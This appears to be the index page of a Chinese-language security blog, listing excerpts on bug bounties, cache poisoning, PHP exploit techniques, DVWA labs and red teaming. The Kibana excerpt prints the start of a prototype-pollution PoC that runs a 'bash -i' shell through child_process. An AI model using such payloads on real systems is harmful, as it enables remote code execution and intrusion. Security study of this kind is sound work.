波波的寂寞世界【今日觀點】 Bug Bounty Hunter & 企業面對Bug bounty Program的心態
近年來，許多的組織/企業開始推動並加入Bug Bounty Program(漏洞回報獎勵計畫)，在企業的規範條件下，讓人人都可以參與，幫助企業挖掘漏洞，並通報給廠商，而廠商會視漏洞的嚴重性給予適當的獎勵回饋。 企業為了讓產品及本身的服務更安...
最新發布
CPDoS: Cache Poisoned Denial of Service
What is CPDoS? Cache-Poisoned Denial-of-Service (CPDoS) is a new class of web cache poisoning attacks aimed at disabling...
PHP繞過disable_function 總結與實踐
原文連結： https://blog.szfszf.top/tech/php%E7%BB%95%E8%BF%87disable_function-%E6%80%BB%E7%BB%93%E4%B8%8E%E5%AE%9E%E8%B7%B5/ ...
PHP Remote Code Execution 0-Day Discovered in Real World CTF Exercise
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible...
基於MITRE ATT&CK的Red Teaming行動實踐
本文將探討如何利用ATT&CK站在攻擊者視角來組織和實踐Red Teaming行動，更加有針對性的模擬真實世界的攻擊者以達到“實戰養兵”的目的。 原文連結：https://mp.weixin.qq.com/s/u1cPkGegyRp...
Prototype Pollution in Kibana
POC: kibana < 6.6.0 .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i...
DVWA（Damn Vulnerable Web Application）- SQL Injection
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- File Upload
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- File Inclusion
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
iPhone BootROM 漏洞說明及威脅評估
原文地址： https://mp.weixin.qq.com/s?__biz=MzU5MjEzOTM3NA==&mid=2247486209&idx=1&sn=61f8cbef53fe525d9d9858ed6902...
Goby產品介紹-開箱文
什麼是 GOBY ? Goby 是一套基於cyberspace mapping technology的安全掃描工具，適用於Windows、Linux、MacOS，該產品可針對目標網路進行全面的資產識別，生成對網路安全事件和漏洞的緊急響應。 ...
